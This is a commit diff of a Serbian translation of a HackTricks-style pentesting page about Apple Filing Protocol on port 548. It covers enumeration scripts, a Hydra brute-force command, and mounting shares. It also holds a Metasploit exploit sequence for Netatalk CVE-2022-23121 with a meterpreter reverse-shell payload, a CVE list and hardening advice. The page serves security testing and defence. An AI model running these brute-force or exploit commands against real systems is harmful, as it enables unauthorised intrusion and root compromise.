Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to

This commit is contained in:
Translator 2025-08-14 03:07:27 +00:00
parent 4ba0b68c61
commit 30767e0f13

View File

@ -2,29 +2,111 @@
{{#include ../banners/hacktricks-training.md}}
## Osnovne Informacije
## Osnovne informacije
**Apple Filing Protocol** (**AFP**), nekada poznat kao AppleTalk Filing Protocol, je specijalizovani mrežni protokol uključen unutar **Apple File Service** (**AFS**). Dizajniran je da obezbedi usluge datoteka za macOS i klasični Mac OS. AFP se izdvaja po podršci za Unicode imena datoteka, POSIX i dozvole kontrolne liste pristupa, resursne forkove, imenovane proširene atribute i sofisticirane mehanizme zaključavanja datoteka. Bio je glavni protokol za usluge datoteka u Mac OS 9 i ranijim verzijama.
**Apple Filing Protocol** (**AFP**), nekada poznat kao AppleTalk Filing Protocol, je specijalizovani mrežni protokol uključen u **Apple File Service** (**AFS**). Dizajniran je da obezbedi usluge datoteka za macOS i klasični Mac OS. AFP se izdvaja po podršci za Unicode imena datoteka, POSIX stil i ACL dozvole, resursne forkove, imenovane proširene atribute i sofisticirane mehanizme zaključavanja datoteka.
**Podrazumevani Port:** 548
Iako je AFP zamenjen SMB-om u modernim macOS izdanjima (SMB je podrazumevani od OS X 10.9), još uvek se susreće u:
* Nasleđenim macOS / Mac OS 9 okruženjima
* NAS uređajima (QNAP, Synology, Western Digital, TrueNAS…) koji uključuju open-source **Netatalk** demon
* Mrežama mešovitih operativnih sistema gde je Time-Machine-over-AFP još uvek omogućen
**Podrazumevani TCP port:** **548** (AFP preko TCP / DSI)
```bash
PORT STATE SERVICE
548/tcp open afp
PORT STATE SERVICE
548/tcp open afp
```
### **Enumeracija**
---
Za enumeraciju AFP usluga, sledeće komande i skripte su korisne:
## Enumeracija
### Brzi banner / informacije o serveru
```bash
msf> use auxiliary/scanner/afp/afp_server_info
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
```
**Skripte i njihove opise:**
Korisni AFP NSE skripti:
- **afp-ls**: Ova skripta se koristi za listanje dostupnih AFP volumena i fajlova.
- **afp-path-vuln**: Lista sve AFP volumene i fajlove, ističući potencijalne ranjivosti.
- **afp-serverinfo**: Ovo pruža detaljne informacije o AFP serveru.
- **afp-showmount**: Lista dostupne AFP delove zajedno sa njihovim odgovarajućim ACL-ovima.
| Skripta | Šta radi |
|---------|----------|
| **afp-ls** | Prikazuje dostupne AFP volumene i datoteke |
| **afp-brute** | Brute-force napad na lozinku za AFP prijavu |
| **afp-serverinfo** | Ispisuje ime servera, tip mašine, AFP verziju, podržane UAM-ove, itd. |
| **afp-showmount** | Prikazuje deljenja zajedno sa njihovim ACL-ovima |
| **afp-path-vuln** | Otkriva (i može iskoristiti) napad pretraživanjem direktorijuma, CVE-2010-0533 |
### [**Brute Force**](../generic-hacking/brute-force.md#afp)
NSE brute-force skripta može se kombinovati sa Hydra/Medusa ako je potrebna veća kontrola:
```bash
hydra -L users.txt -P passwords.txt afp://<IP>
```
### Interacting with shares
*macOS*
```bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
```
*Linux* (koristeći `afpfs-ng` pakovan u većini distribucija)
```bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
```
Jednom kada je montiran, zapamtite da se klasične Mac resursne forkove čuvaju kao skrivene `._*` AppleDouble datoteke ove često sadrže zanimljive metapodatke koje DFIR alati propuštaju.
---
## Uobičajene ranjivosti i eksploatacija
### Netatalk neautentifikovana RCE lanac (2022)
Nekoliko NAS dobavljača isporučilo je **Netatalk ≤3.1.12**. Nedostatak provere granica u `parse_entries()` omogućava napadaču da kreira zlonamerni **AppleDouble** header i dobije **daljinski root** pre autentifikacije (**CVSS 9.8 CVE-2022-23121**). Potpuni izveštaj od strane NCC Group sa PoC koji eksploatiše Western-Digital PR4100 je dostupan.
Metasploit (>= 6.3) isporučuje modul `exploit/linux/netatalk/parse_entries` koji isporučuje payload putem DSI `WRITE`.
```bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
```
Ako cilj koristi pogođeni QNAP/Synology firmware, uspešna eksploatacija donosi shell kao **root**.
### Netatalk OpenSession heap overflow (2018)
Stariji Netatalk (3.0.0 - 3.1.11) je ranjiv na write izvan granica u **DSI OpenSession** handleru, što omogućava neautentifikovanu izvršavanje koda (**CVE-2018-1160**). Detaljna analiza i PoC su objavljeni od strane Tenable Research.
### Ostali značajni problemi
* **CVE-2022-22995** Symlink preusmeravanje koje dovodi do proizvoljnog pisanja datoteka / RCE kada je AppleDouble v2 omogućena (3.1.0 - 3.1.17).
* **CVE-2010-0533** Prelazak direktorijuma u Apple Mac OS X 10.6 AFP (otkriven od strane `afp-path-vuln.nse`).
* Više grešaka u bezbednosti memorije je ispravljeno u **Netatalk 4.x (2024)** preporučuje se nadogradnja umesto zakrpa pojedinačnih CVE.
---
## Preporuke za odbranu
1. **Onemogućite AFP** osim ako nije strogo potrebno koristite SMB3 ili NFS umesto toga.
2. Ako AFP mora ostati, **nadogradite Netatalk na ≥ 3.1.18 ili 4.x**, ili primenite firmware dobavljača koji unazad portuje zakrpe iz 2022/2023/2024.
3. Sprovodite **Jake UAM-ove** (npr. *DHX2*), onemogućite prijave u čistom tekstu i gostujuće prijave.
4. Ograničite TCP 548 na pouzdane podmreže i obavijte AFP unutar VPN-a kada je izložen na daljinu.
5. Periodično skenirajte sa `nmap -p 548 --script afp-*` u CI/CD da uhvatite rogue / downgraded uređaje.
---
### [Brute-Force](../generic-hacking/brute-force.md#afp)
## Reference
* Netatalk Security Advisory CVE-2022-23121 "Izvršavanje proizvoljnog koda u parse_entries" <https://netatalk.io/security/CVE-2022-23121>
* Tenable Research "Eksploatacija greške starije od 18 godina (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
{{#include ../banners/hacktricks-training.md}}